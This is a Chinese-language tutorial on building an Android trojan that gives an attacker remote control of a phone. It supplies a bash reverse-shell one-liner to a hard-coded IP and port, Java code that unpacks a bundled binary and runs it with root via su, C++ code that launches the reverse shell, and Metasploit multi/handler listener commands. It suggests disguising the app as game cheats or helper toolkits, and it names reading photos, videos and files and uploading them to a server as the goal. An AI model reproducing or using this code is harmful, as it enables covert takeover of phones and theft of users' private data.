远程控制安卓手机
安卓端木马开发
一阶段入门
- AIDE java .apk 开发
- C4droid c++ 二进制可执行文件开发
- 远程接收端服务器装有msf
重要语法:
exec 218<>/dev/tcp/49.234.86.45/8986;bash <&218 >&218 2>&218 &
#使用 exec函数 建立tcp连接到 49的IP,8986端口
# bash 执行该参数
# 末尾& 号 后台进程运行
原理简单,用java调用shell命令,执行C++二进制文件,实现远程监听
参考:java调用shell
可用游戏外挂,等等工具箱小助手进行 木马伪装
实现远程监听设备,上传下载文件读取手机照片视频
如有手机有root权限,甚至远程关机手机
等等
1.java项目
自己手动xml文件添加 执行按钮
java执行shell命令
public void open(View v){
//点击按钮执行事件
Toast.makeText(MainActivity.this,"添加后门",Toast.LENGTH_LONG).show();
//toast提示
写出资源文件(getFilesDir() + "/assets", "open");
//解压出apk包,可执行文件
javashell("su - root");
//获取root权限
javashell("su -c chmod 777 /data/data/com.mycompany.myapp/files/assets/open");
//修改可执行后门 文件777权限
}
public void bash(View v){
Toast.makeText(MainActivity.this,"执行后门",Toast.LENGTH_LONG).show();
javashell("su -s /data/data/com.mycompany.myapp/files/assets/open");
};
private void javashell(String shell){String s=shell;try{Runtime.getRuntime().exec(s, null, null);}catch(Exception e){e.printStackTrace();}}
//java shell调用
private boolean 写出资源文件(String outPath, String fileName)
//解压出apk包资源文件
{
File file = new File(outPath);
if (!file.exists())
{
if (!file.mkdirs())
{
Log.e("--Method--", "copyAssetsSingleFile: cannot create directory.");
return false;
}
}
try
{
InputStream inputStream = getAssets().open(fileName);
File outFile = new File(file, fileName);
FileOutputStream fileOutputStream = new FileOutputStream(outFile);
// Transfer bytes from inputStream to fileOutputStream
byte[] buffer = new byte[1024];
int byteRead;
while (-1 != (byteRead = inputStream.read(buffer)))
{
fileOutputStream.write(buffer, 0, byteRead);
}
inputStream.close();
fileOutputStream.flush();
fileOutputStream.close();
return true;
}
catch (IOException e)
{
e.printStackTrace();
return false;
}
}
C++项目
编译成二进制执行文件
#include <stdio.h>
#include <cstdlib>
int main(){
printf("开始执行");
system("exec 218<>/dev/tcp/49.234.86.45/8986;bash <&218 >&218 2>&218 &");
//调用系统shell命令 建立tcp连接
return 0;
}
把编译后二进制文件放到 app项目包里``调用java 写出资源文件
app点击按钮执行二进制文件
app完成后效果图
在远程服务器端启动msf,开启监听
msfconsole
#启动msf控制台
use exploit/multi/handler
#使用 后门shell模块
set payload cmd/unix/reverse_bash
#使用 reverse_bash 模块
set lhost 49.234.86.45
#设置接收端 IP
set lport 8986
#设置接收端 端口
exploit
#执行
等待靶机执行
点击执行后门
靶机成功上线
已反弹shell用于app授权了root权限
相当于控制了整台手机甚至可以远程关机手机,等等
即便没授权root,也可以读取手机文件夹,照片,视频等等
上传到服务器
来获取用户隐私